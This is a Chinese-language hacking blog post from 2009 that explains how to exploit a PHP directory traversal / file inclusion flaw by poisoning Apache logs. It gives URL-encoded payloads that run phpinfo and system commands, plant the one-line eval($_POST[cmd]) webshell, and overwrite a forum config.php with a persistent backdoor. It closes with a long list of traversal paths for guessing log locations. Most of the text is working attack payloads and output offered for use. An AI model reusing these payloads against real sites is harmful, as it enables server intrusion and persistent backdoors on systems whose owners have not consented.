目录遍历漏洞:入侵检测PHP程序中的目录遍历漏洞

on 2009-9-12 in 安全 | 0 Comment
=tpc_content>目录遍历
而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是样样可以读出来只不过文件会很大那也没意思测试下去了那如何利用呢

比如我们提交要提交这句<?phpinfo;?> //查看php相关信息
在这里我们只能提交URL编码模式我在测试中发现<?标记并不被记录只有转换成URL编码提交才会被完整记录

在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了<?phpinfo;?>我们提交
http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E

这样肯定会报出错找不到页面而出错就被记在日志里了
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
这样这个日志文件就被包含成了phpinfo信息而回显也就成了个显示php信息页面


如果可以话(能够执行系统命令也就是safe_mode开着时候) 这样子也不错
<?system("ls+-la+/home");?>   //执行命令列出home下文件列表记得转换为URL格式哦

/home/
total 9
-rw-r--r--   1 www.xxx.com   silver   55 Jan 20 23:01 about.php
drwxrwxrwx   4 www.xxx.com   silver   4096 Jan 21 06:07 abc
-rw-r--r--   1 www.xxx.com   silver   1438 Dec 3 07:39 index.php
-rwxrwxrwx   1 www.xxx.com   silver   5709 Jan 21 20:05 show.php  
-rw-r--r--   1 www.xxx.com   silver   5936 Jan 18 01:37 admin.php
-rwxrwxrwx   1 www.xxx.com   silver   5183 Jan 18 15:30 config.php3
-rw-rw-rw-   1 www.xxx.com   silver   102229 Jan 21 23:18 info.txt
drwxr-xr-x   2 www.xxx.com   silver   4096 Jan 8 16:03 backup
-rw-r--r--   1 www.xxx.com   silver   7024 Dec 4 03:07 test.php

这样就列出了home下文件
或者直接句话木马<?eval($_POST[cmd]);?>
这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样格式
我们提交
http://www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E

再用lanker句话木马客户端连就OK了


上面那个很不实际我在测试中发现日志动不动就是几十兆那样玩起来也没意思了下面想再深入点也就是我们写入个很实际webshell来用也比上面那种慢要死好很多

比如还是这句句话木马
<?eval($_POST[cmd]);?>  

到这里你也许就想到了这是个很不错办法接着看,如何写入就成了个问题用这句
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件然后写入<?eval($_POST[cmd]);?>这个句话木马服务端语句连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入句木马语句
我们提交这句再让Apache记录到日志里再包含就成功写入shell,记得定要转换成URL格式才成功
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就日志里就记录下了这行写入webshell代码
我们再来包含日志提交
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log

这样webshell就写入成功了config.php里就写入句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们webshell
直接用lanker客户端连主机就是你了

PS:上面讲前提是文件夹权限必须可写 定要-rwxrwxrwx(777)才能继续这里直接用上面列出目录来查看上面讲都是在知道日志路径情况下利用

其他日志路径你可以去猜也可以参照这里
附:收集些日志路径
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log  
/var/log/httpd/error_log  
../apache/logs/error.log  
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log

  • 上篇文章: 推荐:BBSXP 7.00 Beta 2 SQL 0day

  • 下篇文章: 记次类似虚拟主机提权
    • Tags:  php遍历目录 php遍历文件 php遍历数组 目录遍历漏洞

    延伸阅读

    最新评论

    发表评论